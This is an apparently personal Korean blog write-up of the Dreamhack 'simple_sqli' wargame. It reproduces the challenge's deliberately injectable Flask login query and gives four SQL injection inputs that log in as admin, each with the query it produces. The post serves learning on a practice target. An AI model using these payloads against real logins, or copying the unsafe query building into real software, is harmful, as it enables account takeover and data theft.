Wargame/dreamhack

simple_sqli

bento 2023. 10. 3. 16:54

드림핵 

Dreamhack simple_sqli

 

DBMS(DataBase Management System)

웹 서비스는 데이터베이스에 정보를 저장하고, 이를 관리하기 위해 DBMS을 사용

  • 관계형 - 행과 열의 집합인 테이블 형식으로 데이터를 저장
  • 비관계형 - 테이블 형식이 아닌 키-값 (Key-Value) 형태로 값을 저장

RDBMS에서 관계 연산자는 **Structured Query Language (SQL)**라는 쿼리 언어를 사용

쿼리를 통해 테이블 형식의 데이터를 조작


SQL Injection

DBMS에서 사용하는 질의 구문인 SQL을 삽입하는 공격

Blind SQL Injection

질의 결과를 이용자가 화면에서 직접 확인하지 못할 때, DBMS가 답변 가능한 형태로 질문하면서 참/거짓 반환 결과로 데이터를 획득하는 공격 기법


문제풀이

https://dreamhack.io/wargame/challenges/24

 

simple_sqli

로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Server-side Basic

dreamhack.io

 

simple_sqli

db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')

admin 계정 비밀번호

- 랜덤한 16바이트 문자열을 Hex 형태로 표현 > 알 수 없음

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'
def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

 

🔑 SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";

1.

ID: admin”--

PW: DUMMY

 

userid 검색 조건 만을 처리하도록, 뒤의 내용은 주석 처리하는 방식

 

SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"

 

2.

ID: admin" or "1

PW: DUMMY

 

userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin이 반환 되도록 하는 방식

 

SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"

 

3.

ID: adminuserid

PW: DUMMY" or userid="admin

 

검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식

 

SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"

 

4.

ID: " or 1 LIMIT 1,1--

PW: DUMMY

 

userid 검색 조건 뒤에 or 1을 추가하여 테이블의 모든 내용을 반환토록 하고, LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식

 

SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

728x90